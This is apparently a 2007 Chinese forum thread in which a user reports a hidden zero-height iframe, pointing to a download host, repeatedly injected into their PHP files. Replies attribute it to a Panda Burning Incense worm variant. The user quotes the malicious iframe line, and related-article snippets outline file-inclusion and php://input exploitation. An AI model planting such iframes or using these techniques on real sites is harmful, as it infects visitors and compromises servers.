php文件里老是被写入代码

lvjx125 2007-08-22 05:16:47

php文件里老是被写入<iframe src=http://down.onlinedowns.net/page/image/pd.htm height=0></iframe>代码,删除了之后不久还会再出现,请问怎么解决?

...全文

234 3 打赏收藏转发到动态举报

写回复

3 条回复

切换为时间正序

请发表友善的回复…

发表回复

w1984721 2007-08-29

打赏
举报

回复

楼上正解

紫郢剑侠 2007-08-23

打赏
举报

回复

下载

文件说明符 : D:\test\down.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-8-20 12:31:57
修改时间 : 2007-8-20 12:31:49
访问时间 : 2007-8-20 12:35:30
大小 : 10689 字节 10.449 KB
MD5 : af2b974b3a49fb05eecab13759f163f5

lich2005 2007-08-23

打赏
举报

回复

你的系统应该遭遇了变种的熊猫烧香。试试用专杀工具看看吧。
http://download.enet.com.cn/html/030202007021401.html#todown

PHP LFI读php文件源码以及直接post webshell 假设如下一个场景 (1) http://vulnerable/fileincl/example1.php?page=intro.php（该php文件包含LFI漏洞) (2) 但是你没有地方可以upload你的webshell代码 (3) LFI只能读取到非php文件的源码（因为无法解析执行只能被爆菊花） (4) 如果你能...

文件包含是Web开发中常见的代码复用机制，其原理是通过include或require函数将外部文件内容引入当前脚本执行。当开发者未对用户输入的文件路径参数进行严格过滤时，便会产生文件包含漏洞，攻击者可借此读取敏感文件或执行任意代码。该漏洞的技术价值在于其可能引发信息泄露、权限提升乃至完整的系统沦陷，在内容管理系统、模板引擎等场景中尤为常见。结合php://input伪协议，攻击者能直接通过HTTP请求体注入PHP代码，实现远程代码执行（RCE）。本文以iwebsec靶场为例，详细演示了如何通过BurpSui

PHP内置协议/封装协议/伪协议 PHP带有很多内置URL风格的封装协议，这类协议与fopen()、copy()、file_exists()、filesize()等文件系统函数所提供的功能类似；可结合文件包含进行漏洞利用 PHP封装协议： file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流（I/O streams） zlib:// — 压缩流 data:// — 数据（RFC 2397）

本文深入解析PHP文件包含漏洞（LFI/RFI）的原理与危害，详细剖析了因不当使用include、require等函数导致的安全风险。文章通过实战案例，展示了如何利用目录遍历、PHP伪协议（如php://filter）进行敏感信息读取和代码执行，并提供了基于白名单、输入过滤及服务器配置加固的全面防御方案，帮助开发者从根本上杜绝此类高危漏洞。

文件包含漏洞的补充。主要是文件包含漏洞支持的伪协议。

安全技术/病毒

9,513

社区成员

28,940

社区内容

发帖

与我相关

我的任务

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章